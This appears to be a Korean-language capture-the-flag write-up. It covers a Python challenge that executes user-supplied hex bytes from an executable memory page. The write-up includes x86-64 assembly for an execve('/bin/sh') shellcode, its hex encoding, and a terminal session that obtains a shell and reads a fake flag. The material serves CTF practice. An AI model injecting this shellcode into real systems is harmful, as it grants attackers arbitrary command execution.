```python
#!/usr/local/bin/python

import ctypes
import mmap
import sys

flag = "redacted"

print("White House declared Python to be memory safe :tm:")

buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
ftype = ctypes.CFUNCTYPE(ctypes.c_void_p)
fpointer = ctypes.c_void_p.from_buffer(buf)
f = ftype(ctypes.addressof(fpointer))

u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): "))

buf.write(u_can_do_it)

f()

del fpointer
buf.close()

print("byebye")
```

buf에 읽기, 쓰기, 실행 권한을 주고, 사용자에게 헥스값을 입력 받는다. 헥스 값을 bytes 코드로 바꾸고, f함수를 실행시키면 헥스 값이 실행된다.

```
BITS 64
xor rdx, rdx
mov rbx, 0x0068732f6e69622f
push rbx
mov rdi, rsp
xor eax, eax
push rax
push rdi
mov rsi, rsp
mov al, 59
syscall
```

Shell.asm 파일을 만들고, bin 파일을 만들어준다.

Bin 파일에서 hex 값을 뽑아낸 후 입력하면 쉘이 실행된다.

```
root@hkh:/mnt/c/Users/hkh/Downloads# xxd -p shell.bin
4831d248bb2f62696e2f736800534889e731c050574889e6b03b0f05
root@hkh:/mnt/c/Users/hkh/Downloads# python3 source.py
White House declared Python to be memory safe :tm:
So enter whatever you want 👍 (in hex): 4831d248bb2f62696e2f736800534889e731c050574889e6b03b0f05
# cat flag.txt
flag{**fake flag**}
#
```